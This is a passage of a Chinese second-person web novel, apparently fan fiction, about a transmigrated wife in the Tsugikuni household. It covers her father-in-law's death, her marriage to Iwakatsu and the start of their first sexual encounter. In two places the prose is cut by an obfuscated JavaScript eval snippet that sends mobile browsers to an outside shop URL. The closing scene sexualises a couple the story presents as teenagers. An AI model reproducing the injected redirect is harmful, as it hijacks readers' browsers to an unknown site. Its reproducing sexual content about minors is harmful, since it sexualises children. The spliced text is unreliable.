你像在家时一样,早早地起来,收拾妥当去向长辈行礼问安。继国家主坐在主位上,代替长辈接受了你的问候,然后大家一起用过早膳,就各干各的去了。 岩胜练刀,家主休养,你—— 好吧,还是有点不同的,你多了一项重要工作:给家主侍疾。 一早知道了家主的病情恐怕不容乐观,可心里知道怎么比得上新婚第二天一见面的冲击力。 不过三十岁的继国家主已有油尽灯枯之相,坐在那儿,简直就是几块骨头支棱着,身上厚实保暖的衣料,更加显示出下面皮囊的消减。 当时,他精神尚可,乐呵呵地看着儿子成家携妻来叩首,一个月后你回家省亲,他的举止也能维持礼仪周全,但那之后,他就像大事已了再无牵挂,一日差过一日。 持家的重任理所当然地交到新妇手中,老实说这个活计并不累,继国家人口简单,事务不算多,至于看护病人,端茶倒水、熬药送汤都有下人做,你主要的职责是使唤他们,兼嘘寒问暖,提供情绪价值,比从前带着一串弟弟妹妹轻松多了。 而且,你看向虚弱的继国家主,他也不需要你做什么。侍疾要做的事只是你单方面的付出,他本人是怎样都无所谓的。 一天结束后你倒掉根本没动过的汤药,心里悄悄叹气。失去心气竟是这样一件恐怖的事,人尚未老已散发出腐朽的味道,自己受着折磨不说,连靠近的人都感到榨干了活力。 你开始盼望岩胜能早点回来。 中古时代的人大都把结婚视作成年的标志,日本也不例外。岩胜在婚礼后接手了父亲的大部分工作,每天早出晚归。 经过上一轮的全面肃清,如今相邻数国境内都太平无事、兵销革偃,虽没有繁重的兵役,但在无人指导的情况下独自代行一国之主的职权,对一个十三岁的少年来说并不容易。 你常常在入睡十分才能等到他晚归的身影,岩胜把疲惫隐藏得很好,如果他不是迷迷糊糊地说几句就睡过去的话。 头几天,对于身边睡着一个人这件事,你们都接受不良,身体紧绷着随时能一跃而起。现在嘛,人类果然是能适应各种情况的可怕生物,你们该吃吃该睡睡,哪天夜里一个翻身不小心踹了对方一脚,嘟囔几句就又睡死过去了。 那些在信件里往来的话变成你们晨起匆忙的对答,纸上没有的细节,两个人下意识的口癖、停顿的气口、结尾的语调也都在面对面中变得熟稔。 生活平静和谐得,仿佛你前前后后的痛苦纠结全是矫情。 已婚女性的自由度超过深闺少女,你负责起内宅的全部安排,越来越多的职权移交到你手上。七月十五盂兰盆节的时候,你用女主人的身份操持斋会,难度也就和举办一场班级联欢会差不多吧。 在阿系和其他老仆的帮助下,斋会顺利进行。你和岩胜一同上香,看到僧人在发愿文上写下“所愿福资法界,次及六亲眷属,若七世父母生天*,自在化生,入天华光”,诚心诚意地行了礼。 一个月后你的生日,只是简单地操办了一下,小小一张桌子上都是按你要求的熟食和新鲜蔬菜。岩胜特意留下来陪你用餐,两个人吃得很开心。 主导权在手,做什么都很方便,出门也简单随意许多,家里有病人,到寺庙借书看理由都是现成的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048774|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你逐渐恢复了上一世的习惯,大刀阔斧地精简办事流程,去除不必要的繁文缛节,多出空闲时间用来看看书、记几笔字,在窗下吹吹笛子。 你用一节切复刻了几首小学音乐课本上的曲子,音符简单,曲调优美。岩胜晨起练完刀,有时会完整地听完一首,用倾听的态度表达赞美。 你曾担心自己的技艺差朱乃太多,继国家的人没准会觉得班门弄斧,他认真的样子让你放心下来。 慢慢地,这个家开始染上你的色彩:壁龛内一幅水墨风格的挂画,桌上摊开的书本和裁好的笺纸,笸箩里缝了一半的手帕,镜匣、针垫闪闪的反光,空气里弥漫着淡淡的墨香…… 人只是生活在其中,外物自然发生变化。这间屋子,完全是你的空间了,它像家里的卧室和你住过的每一间学校宿舍,都变成一个模样:简单的家居用品,很少的装饰,还有排列有序的书籍、文具。 类似改变在整个继国家上演,一切都是在无意中发生的,不过,你有心保留了小佛堂的原样,香炉、拂尘等小物件的位置都没有挪动。 这里充满了朱乃夫人生活过的气息,你看着它们都能想象得到她是怎样虔诚地跪坐着诵经、祈祷,你不想破坏这种氛围。 这间小屋也成了你精神上的一处窗口,累的时候趴这里休息,光闻闻架上佛经散发出的墨香就能得到平静。外面有不好的消息传来,就学着朱乃的样子诵读一段经文,默默祈祷,不是真的信这个,而是需要一个仪式性的行为化解焦虑。 有一次,岩胜都换上了防身的盔甲,又特意折返回来教你不要担心。可你停不下来,把这当作业一样,完成了才放心。 阿系成了你的好帮手,她自告奋勇和你一起把朱乃生前收藏的各色乐器、曲谱还有其他一些小玩意儿打包、收拾好,妥善地保管起来。 “就放在后面的仓库里吧,”她建议道,“奴婢已经派人打扫干净了。” 后面还有个仓库?你好奇地跟着去看,发现只是隔着一条过道,是当年岩胜和缘一玩闹的地方。 仅仅三叠大小的小房间里,几乎什么也没放,你随意地扫了几眼,看到墙壁上挂着一只燕子形状的风筝,尾端连着两根线。 霎时间,过去的记忆一同浮现,你红了眼眶,阿系也在一旁擦眼睛。 这只风筝有放起来过吗?你不知道。 来到新的环境,沉睡在你身体里的青春期也开始苏醒。你穿行在针黹、笔墨还有杯碟间,说不清是哪一日,身上的和服就短了一截,露出细长的手腕、脚踝。 奶娘给你拆掉肩膀和下摆折回去的布料,放长袖口和裙裾,可衣服还是很快就不合身了。 你窜得很快,像地里拔节的庄稼,手脚、个子飞快地拉长,长肉的速度跟不上,一下子变得瘦骨伶仃,竹竿似的。 上辈子你也是在这个年纪猛长的,根据经验,一二年后初潮就会停滞,身体开始发育得饱满圆滚,直到生长期结束重新瘦下来。 你重拾身高焦虑,往门框上刻线记录,想起来就量一量。 奶娘也焦虑,一天看你八百回,念叨着:“不能再高了,再高不好看了。” 你充耳不闻,默默增加了饭量供给,天黑就吹灯躺下,保证营养和睡眠,铆足劲要长高。 有几次,奶娘实在看不过眼,抢过饭碗怒道:“还吃,吃多少才够啊。” 她痛心疾首自家精心培养的淑女竟然在嫁人后越来越粗俗,简直把她的脸丢尽了! 你理直气壮地抢回来:“我吃的哪里多了,这不就是正常饭量,是你吃的太少了。岩胜你说,我吃的多吗?” 岩胜停下筷子,默默地看着你身前叠起的空碗,盘里的鱼刺、鸡骨头,几个碟子里正要动的菜,你吃的也就他的三分之一吧。 “不多啊,”他谨慎地答道,“这不挺少吗?” 过一会儿他补充道:“不够再加,为什么要饿着肚子?” 于是你取得全面胜利,高兴得又多吃了碗饭。 以夫为天和少食观念的冲突让奶娘的脑子直接宕机,你开启了爱谁谁的美好日子。生食丢开、席坐丢开,只要不见外人多层礼服、白脸妆和剃眉毛通通丢开。 不像你的父母,岩胜不会把一个人的生活习惯和他的道德品行联系在一起,你可以按喜好安排自己,同时不必承担某种指摘。 你的要求不高,这样就很好了,已经比预想的要好了。 要说遗憾,也是有的。那就是,你都这么努力了,也没长到理想身高。 第一年,你估摸着窜了有十厘米,第二年就乏力了,才四五厘米,都没突破一米六的大关。 你对着门框比划半天,终于气馁,反正也没有尺子来验证,就当已经一米六了吧。唉,差上辈子还有一截,谈什么理想身高? 虽说绝对值不大,这个时代,你足以傲视大部分女性,可到了岩胜跟前,只能称一句娇小玲珑了。 你的手从刻痕上划过,移到虚空中,往上一抬,正对准岩胜头顶的位置。 “在做什么?”他问道。 你维持姿势不变,闭目长叹:“你也太高了!” 这得有一米八多了! 他本来就高挑,这些年就没停过匀速生长,个头一年比一年可观,你想要靠着男女生长期不同短暂压他一头的想法完全落空。 凭什么呀,大家都是初中生,不应该女生比男生高,男生后面才追上来吗?不公平! 你心中恨恨,学着奶娘的腔调道:“不能再高了,再高不好看了。” 他笑笑,拿下你的手:“这么想长高?” 你抱头鼠窜:“别摸头了,摸头长不高!” 9. 第 9 章 婚后第四年,继国家主的生命走到了尽头。不需要祈福的僧人委婉提醒,不看医师频频摇头的脸色,任何一个见到他的人,心里都会想:时候到了。 他病了太久,也颓废了太久,久到大家已经在过程中接受了这个结局,并不感到惊慌。 他自己也没多少感觉,趁着还撑得住,反复向唯一的儿子确认后事的细节。 “合葬的事就不说了,墓穴没封,位子都是安排好的,动土前你多看看,不要进了雨水。” 他耷拉着发黄的眼角,语音也是含混的,但一句、一句条理很清楚,看来是思考有一阵了。 “葬礼、法事,和你妻子商量着办,我就不多说了。” “还有一样,”他咳嗽几声,语气重起来,“下葬的事别拖,不用挑什么日子了,装裹好就入土吧,别多折腾我。” 你一直应声点头,到这里不由停了一下。家公最重视福祸吉凶,人生最后一件大事上,却都看开了。你心情复杂,不知说什么好。 岩胜表情淡淡,答应下来:“父亲大人放心,不去纳骨堂,我们就从家里出殡。” 你赶紧附和:“父亲大人放心,不会拖的。” 继国家主躺下长出一口气,闭上眼再不开口了。 你和岩胜交换眼神,轻手轻脚地退出去守在门外。这些天,你们谁都不敢离这里太远,饮食、休息只好凑合着来。 岩胜先靠着柱子坐下,外面宽敞的一侧留给你,你们肩并肩、腿靠腿挨着,留心屋里时断时续的呼吸。 掌灯时分,那声音陡然急促起来,伴随着瓷器的碎裂声,你们猛省过来,一起推门冲进去。 你慢几拍,差点儿一头撞在屏风上,幸好岩胜的手牢牢地托在肋旁,你几乎是给他抱进去的。 屋内,家主佝偻着坐起,双目赤红,一手揪住被单,一手紧紧地攥着胸口,快速地进出气。 “父亲!”岩胜终于色变,明白他已在弥留之际。 你双手稳稳地摁在他的双肩,引导着他坐在榻前,找来水用手帕轻轻润湿家主的嘴唇,一边徐徐地拍背给他顺气。 “不要拖,”他艰难地发声,“不要拖,要尽快……” 你哄着他:“不拖、不拖,全听您的。” 他不肯停下,喃喃地重复。岩胜俯下身凑到他耳边:“父亲,别怕,全都准备好了,一定让您和母亲一块,我们一天、一个时辰也不等,您马上就见着她了。” 你呆愣愣看向丈夫,还有神色渐渐平和的公公,万万想不到正确的应答是这个。 面上的红热退去后,青灰的衰败一点点浮现,他轻声道:“好、好……” “你妻子,也好……”他喘着粗气,“你和她,好好过。” 又转过头看你:“你好,朱乃也喜欢你,她、她看人比我好……” 这会儿,你觉得他好像是笑了一下,可细细地看过去,脸上那些深陷的沟壑一条都没有颤动。 “你们,好好过、好好过,不要像、像我……” 泪光中,烛火晕成一片昏黄,你低头咬住袖口,唯恐发出泣音。就在你以为这天就要这么过去时,岩胜的声音突兀地响起: “父亲,但我不明白,”他说,“您真的爱母亲吗,她还在的时候,您有一天因为爱为她做过什么吗?” 你惊讶得忘了流泪,更加惊讶地看到病床上的男人露出那样受伤又不安的表情。 “我、我……”他结结巴巴、眼神躲闪,甚至不敢看自己的儿子。 “可、可我爱她呀,”他痛哭流涕,全然不顾父亲和家主的权威,“我是爱她的呀!这辈子,我都做了什么……” 被呓语、梦魇折磨了半夜后,继国家主在黎明时分咽下了最后一口气。 那一刻之前,他都不断地念叨着亡妻的名字,偶尔也带几句那个消失了的孩子,缘一。 问完话,岩胜就一副心神飘渺的样子,他不知荡到何处去的灵魂被这一声声呼唤强行拖拽到现实,承受近乎拷打的痛苦。 “我是猜的,他和母亲……他们有任何话都是吵架……为什么,是这样?” 岩胜的表情时而茫然、时而痛恨。他抱着诘责的态度逼问父亲,不期然得到肯定的回答,这在他完全等同于背叛。 他被尊敬的父亲背叛。 你听到牙齿咯咯作响的声音,他正脊背弓起,如临大敌。 这一家的哀痛成为你的哀痛,你未干的泪水流淌而出,回过身,额头轻轻地抵在他的胸膛。 又是几声痛呼后,家主全身不自然地痉挛,喉头闷塞,发出嗬、嗬的声响。 岩胜用力地抱一下你,起身过去摁住他。 你再也承受不了,哭着跑了出去。 “我不会像你,”岩胜飞快地说道,“这个你大可放心,我不会像你一样,你听到了吗?” 家主已说不出话,瞳孔涣散开。 “我会成为最强的武士!”他大声道。 “我比你更清楚自己要的是什么。” “父亲,你看着吧,我会做的比你好,比所有人都好!不管是刀还是……” 咚,屏风掀开一扇,差点儿整个倒下去。 你跌跌撞撞闯了进来,泪痕在脸上纵横交错,双手紧握着一支尺八。 “您还记得吗,岩胜还记得吗,这首曲子……” 你吹起朱乃交给你的唯一的一支曲子,她家乡的小调,从小就吹奏、演唱的曲子,眼前又浮现出她教你时的情形,那会儿朱乃总是让岩胜和缘一在一张桌上吃饭,她自己不动筷子,就只微笑着看他们吃东西。在一起不可挽回前,他们一定有着关于它的美好回忆。 笛声呜呜咽咽地响起,你努力地要把它吹得更加更听,每一次调息、浮沉都完美地融入到乐声的流淌中。 一曲终了,家主皱缩一团的面孔舒展开,岩胜愣愣地坐着,绷紧的肌肉松弛下来,你累倒在地,没有一丝力气。 太阳升起,医师小心地靠近,伸手试探鼻息,几次后,宣告继国家主死亡。 家中升起了白布,你还记得母亲去世时的情形,照顾岩胜换上丧服,将灵床移到朝北的方向,派下人去各处报丧,僧人们鱼贯而入,屋内响起诵经和木鱼敲击的声音。 岩胜兑现了他的诺言,丧礼在当天举行,发丧、出殡没有超过一日。 你穿戴上一身黑色,跟在主丧的岩胜后面,看着棺木落下,阴阳师念完咒语、撒了符纸,在四角咚咚咚地钉上长钉,心脏跟着咚咚咚地跳。 昨晚的事历历在目,你又落下泪来。 这么多年,你就没看清过继国家主这个人,你对他的印象就是迷信、善战、对家人冷漠,因为朱乃终日苍白疲惫、早早逝去,还有缘一走丢的事,你在心里早就把他当做了一个很坏的人。 可他在妻子灵前的哭声、临终前的坦白又让你疑惑了。他亲口承认爱的那刻,你和岩胜同样感到了巨大的荒谬。 他居然是爱妻子的,怎么可能?这就能叫爱的话,生活岂不是一场谎言? 你想,自己怎么共情岩胜的被欺骗感都是不够的,你甚至觉得自己父亲那样明确不爱妻子孩子的态度都要好得多。 封住墓口,立起一块木牌,写上逝者的戒名。岩胜以继承人的身份上前行礼,你回过神,赶紧递上盛水的竹筒。 岩胜接过,像一块沉默的铁。 水浇上去的时候,你又想,或许此人也不是完全说谎,乞丐的全副身家也就一点儿,他所谓的爱也一样,只值轻飘飘的一句话,唯有带给他人的痛苦是致死量的。 多么可悲啊。 活着的那会儿,因为习俗、因为迷信、因为传统和偏见,两个人之间只有互相指责和无休止的争吵,直到死亡跨越所有,一切俗世的规则消亡,他终于能承认仅停留在心理活动的爱。 更加可悲的是,爱人也好、做事也好,都无比糟糕的继国家主还是能够如愿以偿,他有优秀的儿子传承家业,死后也和自己认定的妻子合葬,谁也不能这点上忤逆他,可朱乃呢?有谁会问问她的想法呢?她爱过自己的丈夫吗,想要和这样一个人生死同寝吗? 答案湮灭在风里,无人知晓,无人在乎。头一回觉得,人死后无知无觉,真是太好了。 你想起了新婚夜里到底没能说出的平等,心中涌出更大的哀恸。 丧礼结束,人群散去,你还是哭得停不下来,像是要将岩胜的那一份一同宣泄出来。 “岩胜。”你知道,接下来要说的话在这里完全是大逆不道,可要是不说的话,你过不去。 “不想原谅他,就不要原谅了。”你说,“爱不是这个样子的,绝对不是。” 他搀扶着你,送上回程的牛车。 “我们不要说这个了。”他道。 斗转星移,死亡的阴影从继国家慢慢消退。一人逝去的空白,你用日夜的细心填补起来。 你们搬进了中心的堂屋,一点点翻新里面死气沉沉的布置。 里里外外的打扫不说,病人用的痰盂、药炉搬走,方便起身用的凭几换成轻巧的坐垫,笨重的装饰全撤下去,屏风、帐子、竹帘还有榻榻米的缘边也都换成了更清新的颜色。 有一阵子,你每天提出一个新主意:这个柜子挪一挪啦,那个架子重漆一遍啦……除了堂屋展示的那两具历代家主盔甲不能换,你努力让每一处角落都呈现出和过去不同的感觉。 至此,继国家的最后一块“自留地”也完成了内部改造。这个过程里,即使你大部分时间只需动动口,也颇觉得费了不少脑筋,好在最终效果是可喜的。 岩胜眼看着全部工程一一落地,偶尔也来提几点可行性的建议,没让你天马行空地搞出什么奇奇怪怪的东西。 有时,他也不解你的用意,比如安装在廊台上的付书院,你设计的高度明显超出惯例好几倍,前面的障子也太宽,还有那个怪模怪样的坐具,长长的四条腿,倒是正好塞在天板下面。 他看得出来,只有这部分你是留给自己的,就没有发表意见。他自有办法分辨出哪些是异想天开,哪些是你有自己的想法,后者他从不稍加阻拦。 当你终于宣布要休息休息享受劳动成果时,他认真地看着你,问你嫁过来到现在是不是真的满意。 他曾经以为事物就是它们看起来的样子,现在已经失去这种自信。 你拉着他的手绕了一圈,从外廊一直走到最里面的卧室,仔细参观家里的变化。 “你觉得怎么样呢?不要顾虑我,请直接地说出来,因为你的感受就和我一样。” 他游目四望,不像打量一座宅邸,倒像是咂摸体味着什么。 “这些都很好,可我想知道的是你过得怎么样,我希望你在家里至少是不那么难受的。” “我吗?”你用开玩笑的口吻道,“我当然过得好了,再有一套合心意的家具就完美无缺了。” 他看了看四周,你确实只换了用的东西,家具还是原来的。 “想要什么样的都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17048775|194774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 可以换,家里你待得久,要先让你喜欢。” 你笑笑,知道他没有听懂。 “不要回避问题,看看这里,你的感受是什么?” “谢谢你。”他轻抚你的额头,带着你靠过来。 “谢我什么?”你的声音从他的肩膀下闷闷地发出来。 “你为我做的一切。” 大概是新居的新气象扫清了阴霾,继国家的生活不再与从前一致,说不出具体是哪里的作用,细微的变化足以带来不小的改观,你相信岩胜有轻松许多。 无需照顾病人后,你肩负的家务事几乎可以说没有,在有大把空闲可供挥霍的条件下,每天的日程安排直接重返大学时代。 晨起,岩胜在院子里挥刀,你就坐在精心设计高度合适的书桌前看书,两条腿舒展地垂在凳子下,窗子拉开亮堂堂的。 朱乃的佛经,还有各处搜集来怪谈故事,你都看得津津有味。特别恐怖的你就跳过去,有趣的夹上书签反复品读。有时读到妙处,按捺不住,你捧着书到岩胜那里读一段给他听。 你喜欢把写的好的文字读出来,它们往往有优美或壮美的表意和流畅的结构,读起来字音在舌尖盘桓,那特有的韵律从胸腔内升起,水波一样漫到全身,你在一次次的回味中明白“荡气回肠”四个字是多么贴切。 上一世,爸爸妈妈、朋友,每一任同桌、舍友都当过你的听众,现在这个角色由岩胜充当。 他看出你的喜好,外出时留心帮你搜罗了好些物语小说、随笔、歌谣。你的激情朗诵,他总是耐心地听完,然后发表一两句点评,简短却切中肯綮。 你更专业,但他才具有时人的眼光,能看出你察觉不到的东西。你有时豁然开朗,更多时候扼腕痛惜,恨不能掏出电脑,码几篇论文去投c。 发表不了论文,你也把想法、见闻如实地写下来,能攒出一部生活史、风俗记录之类的书,也不枉穿越一场了。 还有少数的情况是,你读着读着,突然合上书掩面长叹。岩胜一愣,慌忙过来问你怎么了。 “没什么,写得太好了!” “书好看还不行吗?” “行啊,太行了,能写出这种书的人简直是天才啊,我这辈子都别想写出来了!” 你有阅读、鉴赏的能力,也有投入其中的热情和定力,唯独没多少创作的天分,退而求其次走学术道路。就算心里认了命,每次看到天才和凡人的鸿沟,还是很难保持淡定。 “岩胜,我以前想过要是可以让上天拿走我十年、二十年的生命换写作的才华就好了。可是我又想,这算什么牺牲?简直太划算了吧,多少人付出的远比这多,也没有得到才华之神的眷顾啊。” 岩胜放在你手背上的手僵住,你反手握住,问道:“这要怎么办啊,我觉得我调理不好了。” 这是玩笑,你其实早接受了。书照读,笔记照写,累了就起来吹吹笛子,踢踢腿、弯弯腰,拉伸一会儿。 朱乃送的一节切早不适应现在的手型了,你拜托岩胜找人新定做了一只,样子仿小学生用的六孔竖笛,这样能吹的曲子更多了。 就算不是天才,你也选择度过不断增加新知识的一生,时间用来学习你才感到充实有意义,生命因此丰满,并且在感官上延长。 不读书也有快乐的时候,比如今年夏天岩胜带你到海边。 因为武士的职责,他经常需要外出,走得远了晚上就扎营在野地里,据他说,这些年从日本海的海岸线到山那边三百公里远的地方都已走遍。 你羡慕了很久,没想到有一天他会带着你来。 日本离海最远的地方也就一百多公里,差不多北京到天津。为了照顾你,岩胜原计划分两天走,你拒绝被人小看,一路不停,当天晚上就到了。 浓黑的夜色下,海洋也像极了一个巨大的黑色深渊,吞吐着黑水。到岸边又是完全不同的感觉,古代没有光污染,月亮晕出五色的华彩,天上的星星多得喧嚷,和岸上的点点渔火遥遥呼应,让人心里涌出无限的温暖。 你知道很多杂七杂八的冷知识,唯独没有一点天文学储备,要岩胜指给你才分得清哪个是牵牛、哪个织女,北斗七星又在哪边。 你们在漫天的银河下奔跑,忘了旅途的疲倦,一直跑到海边,海水打湿了草屐和袜子,一点冰凉凉的感觉都没有。 几个船边光着脚的小孩儿趁机围过来向你兜售他们捡的贝壳,你来者不拒尽数收下,岩胜掏出一大把钱,他们惊喜的欢呼让他也忍不住笑起来。 这时正是秋刀鱼洄游的季节,鱼群在夜间上浮,倾巢出动进食海面的虾类、鱼卵,和涨潮退潮的声音一起鼓噪。 密密匝匝、蜂拥而至的小鱼们拼尽全力为之后的繁衍期积蓄脂肪,海边的渔民利用了这一点,连夜架起小船点灯吸引它们过来一网打尽。 宏伟盛大的生与死在同一时刻上演,正从更远之地奔赴而来的秋刀鱼们不会知道终点是新一代的诞生,抑或渔网,生命迸发又消亡的过程绝不是无声的,你和他手挽着手听了很久。 后半夜,渔民来给你们做饭,分不清品种的贝类、小鱼小虾煮了满满一锅,还有各色生鱼脍、刺身,酱汁不复杂,但一看就知道新鲜。海洋生物不用担心寄生虫问题,你开开心心吃了个饱。 饭后也不回屋,你们互相枕藉着躺下去,就在正对着海岸的屋檐下,一直看到太阳升起,在大半个海面上泼染出暖橙橙的黄。 你想,就这样过一辈子也挺好。 10. 第 10 章 随着岩胜正式交替成为继国家的新一任家主,你们最忙的时段过去了。过渡期的手忙脚乱还近在眼前,显得现在无所事事。 就连之前你最担心的事,和其他夫人交际,也得到了完美的解决。 用岩胜的话说“不想去就不去,你不必看她们脸色”。你懂,真理在大炮射程内嘛,于是这一项就划掉了。 或许是因为日子过得太舒坦,奶娘近来看你格外不顺眼。 你认为她不公平,岩胜外出是办正事,在家是养精蓄锐,你跟着出去玩就是瞎胡闹,留家里看书写字也要被说是不务正业。 你总躲不开她的唠叨,就反问道:“我有什么正业没干?” 天地良心,你每天早起早睡,起来收拾好自己就指挥大家打扫干净屋子、饭菜按时上桌,这不就是儒家说的“鸡初鸣,咸盥漱,栉縰,笄总,衣绅”“顺于舅姑,和于室人”那一套? 哦,对了,你上头没舅姑了。 总之,你贤惠得很,谁能挑你毛病。 奶娘眼睛瞪起来,声音却压得极低极快:“孩子呀!你们一点动静也没有吗?唉呀呀,你母亲这个年纪,孩子都两个了。” 这个年纪?什么叫这个年纪?你一个高中生,还是个孩子呢,就要被催生了! 不听不听,王八念经!你触电一样弹射挑起,逃之夭夭。 晚饭时分,岩胜发现了家里气氛不对。 奶娘坐得远远得,你低头扒着饭,筷子数着米粒吃。 岩胜看看这个,看看那个,劝解道:“奶娘爱唠叨些,她是关心你,你们不要闹矛盾了。” 你着急忙慌地抬起头:“没,我们才没闹矛盾呢。” 天呐,你可闭嘴吧,千万别掺合进来知道吗? 接收到你眼里恳切地信号,岩胜停顿一下,装作无事发生继续吃饭。 在你这里找不到突破口,奶娘迅速行动,给自己找到了一个好帮手。 那天,岩胜在外面忙完了回家,脚才跨过门槛,阿系就款款地迎了上去,几句话后拽着一头雾水的他进了旁边屋子,你在门内端着茶杯,看得目瞪口呆,脑子里只剩两个字:完啦! 之后,饭是你一个人吃的,他不知道是什么原因一直没过来,你心乱如麻,从没这么胃口差过,动了一点点就吃不下来。 你放下筷子,坐着不动,心里早像热锅上的蚂蚁一样焦灼了。 这种受煎熬的感觉在临睡前达到了巅峰,你抱着被子坐进去,忘了躺下,呆呆地望着推拉门前的一小块空地。 那儿有阴影投下,刷啦一声,灯光照亮,然后合拢,屋内重归昏暗。 布料窸窣的摩擦声响起,是岩胜将羽织外套挂到衣架上,掀开被子的一角躺了进去。他夜夜如此,唯一的区别是你没有睡眼惺忪地起来,向他道晚安。 更换寝衣时奶娘的叮嘱犹言在耳: “我没想到你们……唉,也对,你们两个母亲都走得早,没人说这个,是我疏忽了。” “姬君别怕啊,你躺那儿就行了,千万别乱动啊,忍忍,以后就好了,女人都这样……” “还有啊,你要……” 黑暗中,你如临大敌,手指绞紧,被子上抓出一道道痕。 岩胜也坐起慢慢靠过来,你不敢动更不敢看他,头埋进膝盖,免得眼里的情绪暴露出真实的想法。 不是没想过这天,但它真的到来才明白,准备是没有用的。 这些年,即使是过得最轻松的时候,你也在暗暗地焦虑这件事。担心成了习惯,以至于连自己的情绪读忽略了。 古代日本没有天然橡胶树,其他材料的结实度都很可疑,只能想别的办法。 抓药时委婉的打听、翻书摘句地搜寻,结果就是你从不同的医师那里得到一包又一包朱砂,还有人热心地教你怎么加热冶炼出水银喝下去。 这不就是没招了吗?你只能自欺欺人,拖一天是一天。 终于,拖不下去了。 “我……”岩胜停在一个合适的距离里开口,声音茫然又紧张。 可你已顾不上别人的情绪了,他只说了一个字,你就害怕得发抖。 两辈子加起来,你也没碰到过这种事。人的成长不是年岁简单相加,前世今生,你都没有完成单身恋爱、未婚已婚的身份转换,就算实际年龄大岩胜好多,也无法在心态上平等视之。 他紧张,你只会比他更紧张。 “我……”他口干舌燥,咽咽唾沫一口气道,“阿系给了我一副画。” 你崩溃:“我不要看!” 他也把头低下来,手里的纸越揉越皱。 “你实在不愿意的话,那我、我也……”他说不下去了。 你懂,你们的结合不是出于感情,也就不可能因为谁不情愿就擅自终结。 他的未尽之言只能是谎话。 你呜呜咽咽地哭了出来。太丢脸了,多么危险的时刻都没掉过泪,竟然在这种情形下哭成这样。 你深呼吸试图调整,气息一错乱,哭得一抽一抽的,更丢人了。 “你,”他把纸折叠起来,放到一边,“新婚的时候就在哭,现在也是。” 不知不觉间,他已找回从容不迫的节奏,就是声音透着冷:“你其实是不愿意嫁过来的吧,如果是这样的话,我也能……” 他想说“我也能想办法,分开住就好了,不会让你无处可去受人非议的”,你不明所以,哭着打断了他:“我、我怕生孩子。” 他愣住,猛然间想起你的母亲是难产去世,顿感他之前的揣测实在过分,懊恼之下,又不知所措起来。 “别,别哭了。”他结结巴巴地安慰着,帮你拭去眼泪。 说出了心里话,你好受许多,渐渐止住哭泣平静下来。 “我没有……”好吧,你是有些不愿意的,“就是、就是,我们能不能晚点生啊……” 你说着说着,脸烧了起来,烫得人晕晕呼呼,最后几个字只剩下气音。 他好久不说话,你捂住脸,蜷缩着躲进了被子,恨不得有个地缝钻进去。 良久,被子外传了短促的笑声。 “好。” 你憋得快要背过去,闻言赶紧探出脑袋:“那我们说好了!” 灯灭掉,你们像往常一样并排躺着。那张画被你抢了过来,压在枕头下。 你试着放松,但过山车一样的情绪起伏仍在胸中激荡,你闭上眼好一会儿还是睡不着,估计岩胜也是。 听着他起伏不定,时而低沉、时而粗重的呼吸,你想到,等他什么时候睡着,你才能放心睡吧。 又等了好久,你估摸着差不多了,悄悄转过去一看——好嘛,这位眼睛睁得铜铃一样,你一口气堵在喉咙,差点跳起来。 “干嘛吓我呀!” 这下好了,你仅有的一点睡意也没了,直接怒视他。 岩胜不自在地调整一下睡姿:“我没有啊,就是睡不着。” 你怨念满满重新躺下:“别瞎想了,睡。” “好。”他干巴巴地应声。 沉默在你们之间蔓延。 都怪奶娘,也怪阿系!你们纯洁的舍友情再也回不去了。 你依旧睡不着,他也是。 你烦躁地踢踢被子,他翻过身。 夜怎么这么长? 你觉得有些口渴了,怕喊人惊动奶娘,摸索着慢慢爬起来。 噌!岩胜坐起来。 “你怎么也来吓人?” 你委屈:“我哪有?” “你不吓人,干嘛头发挡着脸?” 你气地抓起一大把头发:“它就这么长,怪我咯?” 岩胜起来给你倒了水,你咕咚咕咚喝完,余怒未消。 “明天还有事呢,快睡。” 说完,你瞪着眼睛开始数房梁上的木头,尽量降低自己的存在感,岩胜却没那么配合了,他把水壶放回去,重新倒一杯,学你仰脖干掉,回来也磨磨蹭蹭的,躺下翻来覆去。 他的一点噪音在你耳里都无限放大,你怒火重燃,正要说什么,他凑近来,头埋进你的肩窝:“一次的话,不会有孩子吧。” 你伸手捂住了眼睛。 身为一个没吃过猪肉但见过很多猪跑的现代人,你有丰富的理论经验:大考前看的解压小x文,新奇的想象和描写让人脑洞大开,文艺片里破碎摇晃的镜头、暧昧的光影和声音,共同组成唯美的亲昵画面…… 但你同样忘不了,以为自己攒够了知识遂点开翻墙下的片,你在男演员掏出那家伙后,啪一下点了关。 理论是理论,现实是现实。你自己最多接受文字。 可即便是文字,也不是每次都能吃下。看多了,你甚至会害怕小说描写的角色无节制的沉迷,那种过激的投入你已体会不到美感,驾驭躯体不再是自我,而是夺舍的强烈的动物性。 也不光是X文,某类戒赌小故事、大胃王视频也一样,情绪完全被外物俘获,深陷某种欲望理智都丢掉,感觉离人已经挺远了,你会心理不适,是因为触发了类似恐怖谷效应的机制。 这些描写究竟与实际有多少相关,似乎马上就可以验证了。 你胡思乱想,脑子里一片乱七八糟。 热气呼到脖颈间,你瑟缩着,捂紧了眼睛。 触觉屏蔽不掉,每一秒都比上一秒更难捱,你忽冷忽热,疼得哆哆嗦嗦。平时就很在意的身高差,这会儿更是痛苦的根源。 